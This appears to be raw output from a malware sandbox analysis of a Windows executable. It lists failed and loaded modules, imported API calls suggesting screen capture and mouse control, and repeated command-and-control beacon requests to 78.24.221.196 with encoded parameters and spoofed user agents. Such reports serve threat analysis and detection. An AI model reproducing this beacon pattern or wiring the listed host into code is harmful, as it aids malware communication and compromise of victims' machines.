"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135]34:T81e,Observed unmanaged function "LoadLibrary" in "8B744166EECACE320158F4D0F704B13E.exe" Observed unmanaged function "FreeLibrary" in "8B744166EECACE320158F4D0F704B13E.exe" Observed unmanaged function "GetProcAddress" in "8B744166EECACE320158F4D0F704B13E.exe" Observed unmanaged function "GetMessageExtraInfo" in "8B744166EECACE320158F4D0F704B13E.exe" Observed unmanaged function "CloseHandle" in "8B744166EECACE320158F4D0F704B13E.exe" Observed unmanaged function "DestroyIcon" in "8B744166EECACE320158F4D0F704B13E.exe" Observed unmanaged function "DeleteObject" in "8B744166EECACE320158F4D0F704B13E.exe" Observed unmanaged function "SelectObject" in "8B744166EECACE320158F4D0F704B13E.exe" Observed unmanaged function "CreateCompatibleDC" in "8B744166EECACE320158F4D0F704B13E.exe" Observed unmanaged function "GetDesktopWindow" in "8B744166EECACE320158F4D0F704B13E.exe" Observed unmanaged function "BitBlt" in "8B744166EECACE320158F4D0F704B13E.exe" Observed unmanaged function "CreateDC" in "8B744166EECACE320158F4D0F704B13E.exe" Observed unmanaged function "DeleteDC" in "8B744166EECACE320158F4D0F704B13E.exe" Observed unmanaged function "SetWindowPos" in "8B744166EECACE320158F4D0F704B13E.exe" Observed unmanaged function "SetCursorPos" in "8B744166EECACE320158F4D0F704B13E.exe" Observed unmanaged function "SwapMouseButton" in "8B744166EECACE320158F4D0F704B13E.exe" Observed unmanaged function "mouse_event" in "8B744166EECACE320158F4D0F704B13E.exe" Observed unmanaged function "QueryFullProcessImageName" in "8B744166EECACE320158F4D0F704B13E.exe" Observed unmanaged function "GetCursorInfo" in "8B744166EECACE320158F4D0F704B13E.exe" Observed unmanaged function "CopyIcon" in "8B744166EECACE320158F4D0F704B13E.exe" Observed unmanaged function "GetIconInfo" in "8B744166EECACE320158F4D0F704B13E.exe" Observed unmanaged function "FindWindow" in "8B744166EECACE320158F4D0F704B13E.exe" Observed unmanaged function "ShowWindow" in "8B744166EECACE320158F4D0F704B13E.exe" Observed unmanaged function "SystemParametersInfo" in "8B744166EECACE320158F4D0F704B13E.exe"35:T25f8,"GET /destenyserver/serverWindows.php?qwnjwOku1jscJ2Ae=5PQaXxIHuhu602wxi7FenmHsd&pyH3Xgyjf9d=S8f&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&qwnjwOku1jscJ2Ae=5PQaXxIHuhu602wxi7FenmHsd&pyH3Xgyjf9d=S8f HTTP/1.1 Accept: */* Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Host: 78.24.221.196 Connection: Keep-Alive" Response ==> HTTP/1.1 301 Moved Permanently Server: nginx/1.18.0 Date: Wed 11 Dec 2024 19:47:25 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://78.24.221.196:443/destenyserver/serverWindows.php?qwnjwOku1jscJ2Ae=5PQaXxIHuhu602wxi7FenmHsd&pyH3Xgyjf9d=S8f&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&qwnjwOku1jscJ2Ae=5PQaXxIHuhu602wxi7FenmHsd&pyH3Xgyjf9d=S8f with response body ==>61390D0A3C68746D6C3E0D0A3C686561643E3C7469746C653E333031204D6F766564205065726D616E656E746C793C2F7469746C653E3C2F686561643E0D0A3C....... "GET /destenyserver/serverWindows.php?qwnjwOku1jscJ2Ae=5PQaXxIHuhu602wxi7FenmHsd&pyH3Xgyjf9d=S8f&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&qwnjwOku1jscJ2Ae=5PQaXxIHuhu602wxi7FenmHsd&pyH3Xgyjf9d=S8f HTTP/1.1 Accept: */* Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Host: 78.24.221.196 Connection: Keep-Alive" Response ==> HTTP/1.1 301 Moved Permanently Server: nginx/1.18.0 Date: Wed 11 Dec 2024 19:47:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://78.24.221.196:443/destenyserver/serverWindows.php?qwnjwOku1jscJ2Ae=5PQaXxIHuhu602wxi7FenmHsd&pyH3Xgyjf9d=S8f&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&qwnjwOku1jscJ2Ae=5PQaXxIHuhu602wxi7FenmHsd&pyH3Xgyjf9d=S8f with response body ==>61390D0A3C68746D6C3E0D0A3C686561643E3C7469746C653E333031204D6F766564205065726D616E656E746C793C2F7469746C653E3C2F686561643E0D0A3C....... "GET /destenyserver/serverWindows.php?yQ3XIlbSUpXqy1hW=xAqVQRf3SN3DgEtr&eLjFvqzMP7WkiU=gUm2mIi8Xe0XiOxko8YWVwYCU&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&yQ3XIlbSUpXqy1hW=xAqVQRf3SN3DgEtr&eLjFvqzMP7WkiU=gUm2mIi8Xe0XiOxko8YWVwYCU HTTP/1.1 Accept: */* Content-Type: text/csv User-Agent: Mozilla/5.0 (PlayStation 4 3.11) AppleWebKit/537.73 (KHTML, like Gecko) Host: 78.24.221.196 Connection: Keep-Alive" Response ==> HTTP/1.1 301 Moved Permanently Server: nginx/1.18.0 Date: Wed 11 Dec 2024 19:47:49 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://78.24.221.196:443/destenyserver/serverWindows.php?yQ3XIlbSUpXqy1hW=xAqVQRf3SN3DgEtr&eLjFvqzMP7WkiU=gUm2mIi8Xe0XiOxko8YWVwYCU&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&yQ3XIlbSUpXqy1hW=xAqVQRf3SN3DgEtr&eLjFvqzMP7WkiU=gUm2mIi8Xe0XiOxko8YWVwYCU with response body ==>61390D0A3C68746D6C3E0D0A3C686561643E3C7469746C653E333031204D6F766564205065726D616E656E746C793C2F7469746C653E3C2F686561643E0D0A3C....... "GET /destenyserver/serverWindows.php?yQ3XIlbSUpXqy1hW=xAqVQRf3SN3DgEtr&eLjFvqzMP7WkiU=gUm2mIi8Xe0XiOxko8YWVwYCU&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&yQ3XIlbSUpXqy1hW=xAqVQRf3SN3DgEtr&eLjFvqzMP7WkiU=gUm2mIi8Xe0XiOxko8YWVwYCU HTTP/1.1 Accept: */* Content-Type: text/csv User-Agent: Mozilla/5.0 (PlayStation 4 3.11) AppleWebKit/537.73 (KHTML, like Gecko) Host: 78.24.221.196 Connection: Keep-Alive" Response ==> HTTP/1.1 301 Moved Permanently Server: nginx/1.18.0 Date: Wed 11 Dec 2024 19:47:53 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://78.24.221.196:443/destenyserver/serverWindows.php?yQ3XIlbSUpXqy1hW=xAqVQRf3SN3DgEtr&eLjFvqzMP7WkiU=gUm2mIi8Xe0XiOxko8YWVwYCU&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&yQ3XIlbSUpXqy1hW=xAqVQRf3SN3DgEtr&eLjFvqzMP7WkiU=gUm2mIi8Xe0XiOxko8YWVwYCU with response body ==>61390D0A3C68746D6C3E0D0A3C686561643E3C7469746C653E333031204D6F766564205065726D616E656E746C793C2F7469746C653E3C2F686561643E0D0A3C....... "GET /destenyserver/serverWindows.php?jGfKEmbisE90cqPDhQ=UrOBgQHKMU4M&TWCJOn7dCnpqOGxnU2JPKS0UF846=ONx2HgFoGz3T3RE&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&jGfKEmbisE90cqPDhQ=UrOBgQHKMU4M&TWCJOn7dCnpqOGxnU2JPKS0UF846=ONx2HgFoGz3T3RE HTTP/1.1 Accept: */* Content-Type: text/javascript User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.34 (KHTML, like Gecko) Version/11.0 Mobile/15A5341f Safari/604.1 Host: 78.24.221.196 Connection: Keep-Alive" Response ==> HTTP/1.1 301 Moved Permanently Server: nginx/1.18.0 Date: Wed 11 Dec 2024 19:48:21 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://78.24.221.196:443/destenyserver/serverWindows.php?jGfKEmbisE90cqPDhQ=UrOBgQHKMU4M&TWCJOn7dCnpqOGxnU2JPKS0UF846=ONx2HgFoGz3T3RE&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&jGfKEmbisE90cqPDhQ=UrOBgQHKMU4M&TWCJOn7dCnpqOGxnU2JPKS0UF846=ONx2HgFoGz3T3RE with response body ==>61390D0A3C68746D6C3E0D0A3C686561643E3C7469746C653E333031204D6F766564205065726D616E656E746C793C2F7469746C653E3C2F686561643E0D0A3C....... "GET /destenyserver/serverWindows.php?jGfKEmbisE90cqPDhQ=UrOBgQHKMU4M&TWCJOn7dCnpqOGxnU2JPKS0UF846=ONx2HgFoGz3T3RE&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&jGfKEmbisE90cqPDhQ=UrOBgQHKMU4M&TWCJOn7dCnpqOGxnU2JPKS0UF846=ONx2HgFoGz3T3RE HTTP/1.1 Accept: */* Content-Type: text/javascript User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.34 (KHTML, like Gecko) Version/11.0 Mobile/15A5341f Safari/604.1 Host: 78.24.221.196 Connection: Keep-Alive" Response ==> HTTP/1.1 301 Moved Permanently Server: nginx/1.18.0 Date: Wed 11 Dec 2024 19:48:25 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://78.24.221.196:443/destenyserver/serverWindows.php?jGfKEmbisE90cqPDhQ=UrOBgQHKMU4M&TWCJOn7dCnpqOGxnU2JPKS0UF846=ONx2HgFoGz3T3RE&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&jGfKEmbisE90cqPDhQ=UrOBgQHKMU4M&TWCJOn7dCnpqOGxnU2JPKS0UF846=ONx2HgFoGz3T3RE with response body ==>61390D0A3C68746D6C3E0D0A3C686561643E3C7469746C653E333031204D6F766564205065726D616E656E746C793C2F7469746C653E3C2F686561643E0D0A3C....... "GET /destenyserver/serverWindows.php?nXAxoB4bvRXPKtZ9Zkoglc0Tek=87QcU7BGbiaqdIlE7X6S7aA&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&nXAxoB4bvRXPKtZ9Zkoglc0Tek=87QcU7BGbiaqdIlE7X6S7aA HTTP/1.1 Accept: */* Content-Type: text/plain User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Host: 78.24.221.196 Connection: Keep-Alive" Response ==> HTTP/1.1 301 Moved Permanently Server: nginx/1.18.0 Date: Wed 11 Dec 2024 19:48:52 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://78.24.221.196:443/destenyserver/serverWindows.php?nXAxoB4bvRXPKtZ9Zkoglc0Tek=87QcU7BGbiaqdIlE7X6S7aA&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&nXAxoB4bvRXPKtZ9Zkoglc0Tek=87QcU7BGbiaqdIlE7X6S7aA with response body ==>61390D0A3C68746D6C3E0D0A3C686561643E3C7469746C653E333031204D6F766564205065726D616E656E746C793C2F7469746C653E3C2F686561643E0D0A3C....... "GET /destenyserver/serverWindows.php?nXAxoB4bvRXPKtZ9Zkoglc0Tek=87QcU7BGbiaqdIlE7X6S7aA&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&nXAxoB4bvRXPKtZ9Zkoglc0Tek=87QcU7BGbiaqdIlE7X6S7aA HTTP/1.1 Accept: */* Content-Type: text/plain User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Host: 78.24.221.196 Connection: Keep-Alive" Response ==> HTTP/1.1 301 Moved Permanently Server: nginx/1.18.0 Date: Wed 11 Dec 2024 19:48:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://78.24.221.196:443/destenyserver/serverWindows.php?nXAxoB4bvRXPKtZ9Zkoglc0Tek=87QcU7BGbiaqdIlE7X6S7aA&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&nXAxoB4bvRXPKtZ9Zkoglc0Tek=87QcU7BGbiaqdIlE7X6S7aA with response body ==>61390D0A3C68746D6C3E0D0A3C686561643E3C7469746C653E333031204D6F766564205065726D616E656E746C793C2F7469746C653E3C2F686561643E0D0A3C.......36:T7b0d,"8B744166EECACE320158F4D0F704B13E.exe" loaded module "GDI32.DLL" at base 76a30000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 77070000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 707b0000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "KERNEL32" at base 753c0000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 6ae40000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "ADVAPI32.DLL" at base 75900000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 6b370000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "SHLWAPI.DLL" at base 759b0000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 0 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-0.DLL" at base 0 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "VERSION.DLL" at base 741e0000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 64640000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "USER32.DLL" at base 75790000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 0 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREE.DLL" at base 0 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "MSCOREE.DLL" at base 6b400000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 0 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "PSAPI.DLL" at base 76970000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "RPCRT4.DLL" at base 76980000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "KERNEL32.DLL" at base 753c0000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 61e60000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLE32.DLL" at base 0 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "OLE32.DLL" at base 75a60000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "CRYPTBASE.DLL" at base 74c40000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73a30000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 6d6d0000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 699d0000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 63be0000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.DRAWING\F7568D7F1B9D356F64779B4C0927CFB3\SYSTEM.DRAWING.NI.DLL" at base 69430000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.WINDOWS.FORMS\C9A4CBC00F690A9E3CDDFC400F6E85BB\SYSTEM.WINDOWS.FORMS.NI.DLL" at base 60ff0000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\NLSSORTING.DLL" at base 6c060000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 633c0000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.V9921E851#\A891970B44DB9E340C3EF3EFA95B793C\MICROSOFT.VISUALBASIC.NI.DLL" at base 67e50000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 69320000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 60870000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "NTDLL.DLL" at base 76e40000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "SHELL32.DLL" at base 75d20000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 75a40000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "PROFAPI.DLL" at base 74d50000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "BCRYPT.DLL" at base 74860000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "CRYPTSP.DLL" at base 74750000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 744e0000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "SSPICLI.DLL" at base 74bd0000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.MANAGEMENT\E114780FD3EA5727401C06EA4F22EF35\SYSTEM.MANAGEMENT.NI.DLL" at base 64e50000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 75a40000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "CLBCATQ.DLL" at base 75080000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 753c0000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 6cf10000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "RPCRTREMOTE.DLL" at base 74ce0000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 6c9a0000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\\WMINET_UTILS.DLL" at base 6bfd0000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 6cf30000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 6cb50000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "OLEAUT32.DLL" at base 76fd0000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLEAUT32.DLL" at base 0 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.RUNTEB92AA12#\274E43040C8A7A02EF1065DB3283005A\SYSTEM.RUNTIME.SERIALIZATION.NI.DLL" at base 60590000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "PROPSYS.DLL" at base 73b00000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "COMCTL32.DLL" at base 73c40000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73b00000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "NTMARTA.DLL" at base 741b0000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L1-1-0.DLL" at base 74ec0000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 76cf0000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "SECUR32.DLL" at base 74a70000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL" at base 74ff0000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L2-1-0.DLL" at base 711c0000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "SETUPAPI.DLL" at base 76b50000 "8B744166EECACE320158F4D0F704B13E.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74bf0000 "mobsync.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 707b0000 "mobsync.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "mobsync.exe" loaded module "KERNEL32" at base 753c0000 "mobsync.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "mobsync.exe" loaded module "ADVAPI32.DLL" at base 75900000 "mobsync.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 6b370000 "mobsync.exe" loaded module "SHLWAPI.DLL" at base 759b0000 "mobsync.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 0 "mobsync.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-0.DLL" at base 0 "mobsync.exe" loaded module "VERSION.DLL" at base 741e0000 "mobsync.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 647d0000 "mobsync.exe" loaded module "USER32.DLL" at base 75790000 "mobsync.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 0 "mobsync.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREE.DLL" at base 0 "mobsync.exe" loaded module "MSCOREE.DLL" at base 6b400000 "mobsync.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 0 "mobsync.exe" loaded module "PSAPI.DLL" at base 76970000 "mobsync.exe" loaded module "RPCRT4.DLL" at base 76980000 "mobsync.exe" loaded module "KERNEL32.DLL" at base 753c0000 "mobsync.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 633c0000 "mobsync.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLE32.DLL" at base 0 "mobsync.exe" loaded module "OLE32.DLL" at base 75a60000 "mobsync.exe" loaded module "CRYPTBASE.DLL" at base 74c40000 "mobsync.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73a30000 "mobsync.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 6ca80000 "mobsync.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 6af80000 